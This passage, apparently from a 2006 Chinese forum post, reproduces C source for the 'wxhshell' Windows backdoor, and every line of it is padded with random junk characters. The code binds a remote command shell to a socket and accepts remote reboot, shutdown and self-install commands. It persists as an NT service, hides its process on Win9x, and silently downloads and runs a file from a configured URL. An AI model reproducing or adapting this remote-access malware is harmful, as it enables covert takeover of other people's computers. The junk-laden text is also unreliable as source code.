  )Qe~ 8u@?  
  // 帮助 z2g3FUTX)b  
  case '?': { `-(|>5wWS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oXb;w@:  
    break; kMb}1J0i"  
  } g+pml*LJ  
  // 安装 !ePr5On  
  case 'i': { [<%H>S1  
    if(Install()) vgsJeV`}I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~F4fFQ-yy  
    else mS^tX i5hg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $oj:e?8N  
    break; {@+Ty]e  
    } 0s/w,?  
  // 卸载 |C!oxhu<  
  case 'r': { te3}d'9&|  
    if(Uninstall()) 5Ow[~p"l<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WU quN  
    else j6Yy6X]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LcUh;=r}&  
    break; ~\Hc,5G  
    } *M:B\ D  
  // 显示 wxhshell 所在路径 )Xv ilCk1  
  case 'p': { q1Q L@Ax  
    char svExeFile[MAX_PATH]; Z Uox Mm  
    strcpy(svExeFile,"\n\r"); U*22h` S  
      strcat(svExeFile,ExeFile); `%+Wz0(K  
        send(wsh,svExeFile,strlen(svExeFile),0); t5y;CxL  
    break; y~q8pH1  
    } 9aze>nxh.  
  // 重启 \Ta"}TF8  
  case 'b': { [H6hyG~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )%`^xR  
    if(Boot(REBOOT)) {ys=Ndo8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \QYFAa  
    else { 9y<*8bI   
    closesocket(wsh); f"%{%M$K  
    ExitThread(0); j`~Ms>  
    } n 2)@S0{  
    break; GBRa.;Kk  
    } ^Wt*  
  // 关机 aX5 z&r:{  
  case 'd': { .P[ _<8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cj{1H([-  
    if(Boot(SHUTDOWN)) {]%0lf:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%B\/&f  
    else { (NF~Ck$#q  
    closesocket(wsh); cc~O&?)i  
    ExitThread(0); ?d{Na= O\  
    } uI1 q>[  
    break; PE5R7)~A  
    } _$ +^q-  
  // 获取shell P_*" dza  
  case 's': { ? }kG`q  
    CmdShell(wsh); !,6c ~ w  
    closesocket(wsh); 1Cv-  
    ExitThread(0); >`A9[`$n  
    break; OmIg<v 0\;  
  } *Zt#U#  
  // 退出 D/vOs[X o,  
  case 'x': { ]x(e&fyHB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0{,Z{&E  
    CloseIt(wsh); :lf+W  
    break; X voo=  
    } xI($Uu}S  
  // 离开 M$/|)U'W  
  case 'q': { Rb%8)t x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8,? h~prc  
    closesocket(wsh); e\!0<d  
    WSACleanup(); gG*X^Uo  
    exit(1); >[*8I\*@n  
    break; MP_ ~<Q  
        } Y]/% t{Y  
  } $}>+kHoT{  
  } M%2+y5  
e?JW   
  // 提示信息 i3 6eBjT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B0dQ@Hq*  
}  %oZ6l*  
  } _'{_gei_P  
y5?RVlKJ  
  return; ?o81E2TJO  
} '>cKH$nVC}  
4^WpS/#4  
// shell模块句柄 Yu)NO\3&  
int CmdShell(SOCKET sock) WtG~('g>&  
{ DU5c=rxW  
STARTUPINFO si; ca7=V/i_a{  
ZeroMemory(&si,sizeof(si)); eYN5;bx)W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |=`~-i2W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !g5xq  
PROCESS_INFORMATION ProcessInfo; 0 q} *S~  
char cmdline[]="cmd"; zNxW'?0Z?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =&ks)MH-  
  return 0; A OISs4  
} fI{&#~f4C  
n `&/ D  
// 自身启动模式 }<@b=_>S  
int StartFromService(void) d1AioQ9  
{ 9Uj $K>:  
typedef struct `6lr4Kk @R  
{ U+:m4a  
  DWORD ExitStatus; v"b+$*  
  DWORD PebBaseAddress; nqI@Y)  
  DWORD AffinityMask; &7PG.Ff!r  
  DWORD BasePriority; X*/ho  
  ULONG UniqueProcessId; u%}nw :>  
  ULONG InheritedFromUniqueProcessId; x=b7':nQ  
}   PROCESS_BASIC_INFORMATION; ,z;cbsV-{  
3Z5D)zuc  
PROCNTQSIP NtQueryInformationProcess; 8$6Y{$&C  
/?@3.3sl_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /178A;J y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 Vkb>yFX'  
95 ;x=ju  
  HANDLE             hProcess; M+U9R@  
  PROCESS_BASIC_INFORMATION pbi; /67 h&j  
t&H?\)!4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,l !Ta "  
  if(NULL == hInst ) return 0; NidIVbT.A  
3Dng 1}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qw-~>d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gp>3I!bo[K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }4 )H   
_FpTFfB  
  if (!NtQueryInformationProcess) return 0; AK'[c+2[  
&;^YBW:I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fv~20G (O  
  if(!hProcess) return 0; yXSFjcoB  
(s.0P O`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &,zq%;-f  
{:6r;TB  
  CloseHandle(hProcess); NW]Lj >0Y  
hIy~B['  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zHA!%>%'  
if(hProcess==NULL) return 0;  6:b! F  
s}w{:Hk,x8  
HMODULE hMod; K2TcOFQ  
char procName[255]; 5gYRwuf  
unsigned long cbNeeded; ;Lc Z`1  
#M9~L[nF S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xe$I7iKD  
?9e_gV{&;  
  CloseHandle(hProcess); [@VP?74  
/rWd=~[MO  
if(strstr(procName,"services")) return 1; // 以服务启动 4Jp:x"w  
9IjIIM2y  
  return 0; // 注册表启动 t^+ik1.  
} nyQ&f'<   
'@o;-'b  
// 主模块 ur)9x^y  
int StartWxhshell(LPSTR lpCmdLine) .+PI}[g  
{ f(/lLgI(  
  SOCKET wsl; -`'I{g&A  
BOOL val=TRUE; g;pcZ9o  
  int port=0; ~xkeuU  
  struct sockaddr_in door; J\+0[~~  
7%5z p|3  
  if(wscfg.ws_autoins) Install(); u(@$a4z  
th  
port=atoi(lpCmdLine); C'9Cr}cZ.  
SF7\<'4\N  
if(port<=0) port=wscfg.ws_port; [%q@]\U$s  
|:nn>E}ZA/  
  WSADATA data; .YhA@8nc~l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;rF\kX&Jh  
J"!vu.[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cS5Pl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )#?"Gjf~  
  door.sin_family = AF_INET; Vc 1\i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); % Qmn-uZ  
  door.sin_port = htons(port); Lt u'W22  
z06r6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `F-/QX[:  
closesocket(wsl); ;Y 00TGU  
return 1; ``,fodA8  
} h k] N6+@  
U;YC}r  
  if(listen(wsl,2) == INVALID_SOCKET) { \nXtH}9ZF  
closesocket(wsl); `#rL*;\uV  
return 1; nEJq_  
} YN/|$sMD|  
  Wxhshell(wsl); ] ] !VK  
  WSACleanup(); Kz~ps 5  
D9<!mH  
return 0; &*##bA"!B  
,c;Kzp>e  
} !\-{D$E?H  
K18}W*$ d  
// 以NT服务方式启动 K*%9)hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yQ U{ zY  
{ _dqzB$JV  
DWORD   status = 0; bp* ^z,w  
  DWORD   specificError = 0xfffffff; (7vF/7BZ|_  
APvDP?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vmU@^2JSJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w^Sz#_2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V[RF </2T  
  serviceStatus.dwWin32ExitCode     = 0; ?qP7Y nl  
  serviceStatus.dwServiceSpecificExitCode = 0; &q3"g*q  
  serviceStatus.dwCheckPoint       = 0; ZT'`hK_up  
  serviceStatus.dwWaitHint       = 0; %aHB"vi6  
*QpMF/<?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V\>K]mwD  
  if (hServiceStatusHandle==0) return; (SWYOMo"  
(jnQ -  
status = GetLastError(); v_BcTzQ0S  
  if (status!=NO_ERROR) gR&Q3jlIV  
{ _t iujP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v| gw9  
    serviceStatus.dwCheckPoint       = 0; Hkk/xNP  
    serviceStatus.dwWaitHint       = 0; -f3p U:G8  
    serviceStatus.dwWin32ExitCode     = status; .I7pA5V{#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6g2a[6G5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |nc@"OJ  
    return; lNy.g{2f<m  
  } !02`t4Zc-  
hW%TM3l}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y<?kzt  
  serviceStatus.dwCheckPoint       = 0; |ax3sAg  
  serviceStatus.dwWaitHint       = 0; U\ ig:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); riUwBiVa?2  
} 2V"B:X\  
cA2V2S)  
// 处理NT服务事件,比如:启动、停止 _Us#\+]_:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m!gz3u]rN  
{ aI%g2 q0f  
switch(fdwControl) ,g%0`SO  
{ R] vV*  
case SERVICE_CONTROL_STOP: 1 8|m)(W  
  serviceStatus.dwWin32ExitCode = 0; PxTwPl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SbND Y{5RO  
  serviceStatus.dwCheckPoint   = 0; bk[U/9Z\  
  serviceStatus.dwWaitHint     = 0; q]\:P.x!>  
  { l>2E (Y|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pnk5mK$  
  } US+Q~GTA  
  return; 'vVQg  
case SERVICE_CONTROL_PAUSE: 68NYIyTW9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c>,'Y)8   
  break; A^nvp!_  
case SERVICE_CONTROL_CONTINUE: SAH-p*.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 f@)z"j  
  break; 4~ q5,^kgB  
case SERVICE_CONTROL_INTERROGATE: dV*]f$wQ  
  break; 3]OE}[R  
}; g%ndvdb m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qt"G[9;  
} y_'Ub{w  
j5QuAU8  
// 标准应用程序主函数 ED2a}Tt>Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cW~}:;D4  
{ )s)I2Z+  
nii A7Ux  
// 获取操作系统版本 5/q}`T9i%7  
OsIsNt=GetOsVer(); Um }  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .\\DKh%  
&)YQvTzs  
  // 从命令行安装 5<iV2Hx  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bz_^~b7  
e2L0VXbb  
  // 下载执行文件 {i1| R"ta  
if(wscfg.ws_downexe) { kj|6iG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <vnHz?71c  
  WinExec(wscfg.ws_filenam,SW_HIDE); mH54ja2  
} @y e4q.m  
<m!h&_eg  
if(!OsIsNt) { 6~0$Z-);(  
// 如果时win9x,隐藏进程并且设置为注册表启动 KLU-DCb%  
HideProc(); CHdX;'`*  
StartWxhshell(lpCmdLine); H;D>|q  
} pe0F0Ruy  
else a:+{f&  
  if(StartFromService()) wGU*:k7p  
  // 以服务方式启动 .0p0_f=  
  StartServiceCtrlDispatcher(DispatchTable); :Gv1?M  
else ~{*7"o/  
  // 普通方式启动 (ScxLf=]  
  StartWxhshell(lpCmdLine); !5wIIS:FT  
ZufR {^W  
return 0; E_gD:PPU5  
}
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只看该作者 1 发表于: 2006-10-10
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